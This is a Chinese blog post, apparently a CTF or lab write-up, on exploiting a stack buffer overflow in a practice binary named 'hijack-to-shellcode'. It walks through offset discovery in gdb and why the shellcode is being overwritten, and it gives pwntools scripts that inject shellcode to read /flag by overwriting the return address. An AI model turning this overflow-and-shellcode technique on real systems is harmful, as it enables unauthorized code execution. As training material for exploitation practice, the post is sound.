shellcode做题记录

记录一些需要记录的shellcode相关题目

shellcode被覆写

写在栈上的shellcode在程序执行的过程中被覆盖

 

这道题目直接通过read读入4096字节到栈上缓冲区,但是read的目的地址只开辟了40字节,而且栈是可执行的。这样会造成缓冲区溢出劫持控制流到写入栈上缓冲区的shellcode,但是challenge程序执行完read后会写入read的返回值到rbp-0xc的局部变量中,而缓冲区的起始地址在rbp-0x40,如果希望shellcode不被覆写有两种选择,一是压缩shellcode代码长度为0x40-0xc=54字节,二是将shellcode值写入ebp的高地址,也就是上一个栈帧中,这样无论challenge函数如何折腾栈都不会影响到shellcdoe的内容(因为根据函数调用约定,只能操作自己的栈帧)

 

challenge函数中实例化了data结构体,其中的char类型变量开辟了40字节的缓冲区

 

image

 

 但是读入用户输入到该缓冲区的read函数的size参数为4096字节大小,可以读入用户0x1000字节参数写入栈上

 

image

 

而且这个题目的栈还是有rwx权限的

image

 而且这个题目中ASLR和NX也是被禁用的(题目中有相关说明)

 

image

 

到这里思路就很明确了,通过read函数读入shellcode到缓冲区data.input起始的位置(可以通过动态调试得到,这道题在题目中会打印出来),覆盖垃圾数据到rbp,将rbp+8的返回地址覆盖为缓冲区的起始地址(因为我们把shellcode写在那个位置了)

 

所以初步来看,payload=shellcode+padding+shellcode_addr,可以写一个gdb调试脚本验证我们的思路,ipython3我远程和本地都用不了不知道为啥

 

写验证脚本需要payload要素齐全,所以在写脚本之前先运行一下程序,在本机上缓冲区的起始地址为0x7fffffffc360,这是写入payload的起始地址,也是覆盖ret addr的跳转地址

image

 

然后启动gdb调试,通过cyclic看看从缓冲区到ebp的偏移

 

image

 

start运行程序之后输入生成的字符串,程序发生段错误

 

这时看看ebp中的字符串,然后通过cyclic计算出需要填充的距离

 

image

 

从缓冲区开始到ebp为64字节,所以shllcode+padding应该为64+8字节

 

然后就可以开始写验证脚本了,先写一个通过gdb调试的版本

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
p=gdb.debug('../challenges/binary-exploitation-hijack-to-shellcode-w', gdbscript='''
    set pagination off
    break *0x0401fbe
    b *0x0401fc3
    continue
    ''',
    aslr=False)

shellcode=asm(shellcraft.cat('/flag'))
offset=64+8
payload  = shellcode
payload += b'A' * (offset-len(shellcode))
payload += p64(0x7fffffffc320)
p.sendline(payload)
p.interactive()

 

这个脚本中使用shellcraft自动生成达到相应功能的shellcode,我们运行它发现出现了错误

image

 

于是在gdbscript中添加了两个断点,分别在read调用时和返回challenge函数时

 

image

 

image

 

 

在到达read函数断点后通过si步进read函数,可以观察到在返回challenge函数之前写shellcode的缓冲区还没有被覆写

Screenshot from 2026-10-03 06-08-09

 

运行到0x401fc3的前一条pwndbg提示下一条指令会将0x51写入栈上该地址

 

可以顺便看一下当前指令的位置,在进程虚拟内存映像中的libc库的地址

Screenshot from 2026-10-03 06-09-19

 

 

现在看shellcode位置的缓冲区还是完好的shellcode,查看从该地址起始的20条指令, 查看现在栈上rbp和rbp+8位置的值

 

 

image

继续逐条指令执行,观察缓冲区处的指令情况

image

 可以看到缓冲区的指令随着程序的执行被修改,因为程序的逻辑往栈上写入了值

image

 为了知道是shellcode引起的崩溃还是exp代码的问题,视频中介绍了在shellcode末尾添加exit() shellcode的方法

 

现在写一个只含exit()的shellcode说明这一点

image

 

以指令格式查看写shellcode位置的缓冲区

image

 程序成功回到challenge函数

image

继续执行到challenge返回,跳转到ret addr

在challenge函数的最后一条指令处下断点直接跳转过去

image

 

 跳转到了目标缓冲区地址

image

 开始执行exit(0)的shellcode

image

 最后程序正常退出

image

现在我们把exit加到之前的shellcode后面

image

 

 程序崩溃时出现了段错误

image

 > 这就对应你之前问的那段解释:sendfile 执行完后进程还在,如果不退出会继续执行后面的垃圾内存而崩溃;所以这里显式调用 exit,让进程以正常状态结束,避免你分不清“shellcode 挂了”还是“shellcode 成功但收尾不当挂了”。

 

## 没有源码时判断缓冲区大小

在hard级别的题目中,没有给出源码,只有二进制文件

通过sftp将二进制程序下载到本地

 

通过ghidra中listing页面的偏移推断缓冲区大小

image

 这里local_58对应的偏移[rbp-0x50]

与反汇编窗口中的栈布局不一致

image

 还是用gdb看看变量到ebp的距离吧,是80字节

image

读入参数大小为ie0x1000,4096字节

image

检查权限

image

 可以通过缓冲区溢出向栈上写入shellcode

 现在还需要知道缓冲区的地址,我们在read函数处下断点,看看写到栈上什么位置

 

image

这里已经可以看到偏移了

image

 

先写一个调试程序验证一下

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
p=gdb.debug('../challenges/binary-exploitation-hijack-to-shellcode', gdbscript='''
    set pagination off
    break *0x4017a6
    b *0x4017ab
    continue
    ''',
    aslr=False)

# shellcode=asm(shellcraft.cat('/flag')+shellcraft.exit(0))
shellcode=asm(shellcraft.exit(0))
offset=80+8
payload  = shellcode
payload += b'A' * (offset-len(shellcode))
payload += p64(0x7fffffffc310)
p.sendline(payload)
p.interactive()

 看到会在栈上c354的位置写入

image

>>> 0xc354-0xc310
68
缓冲区起点到被后续程序写入的距离

继续ni执行到challenge的ret处,跳转目的地址正常

image

到syscall打开/flag文件的的shellcode也正常

 

 

image

 c34a处正常exit(),shellcode的一部分

image

 看起来程序没有什么问题,现在去在线靶机上验证

通过ssh远程连接获得在靶机上的缓冲区地址

image

 


 

在调试模式下验证了利用代码的正确性

image

 到运行模式发现又不对了,抛出段错误,推断是因为跳转地址出错

重新在运行模式获得缓冲区地址

image

 然后也一直没拿到远程flag,先不管了

 

posted on 2026-10-03 13:42  d0ubleU0x00  阅读(4)  评论(0)    收藏  举报

导航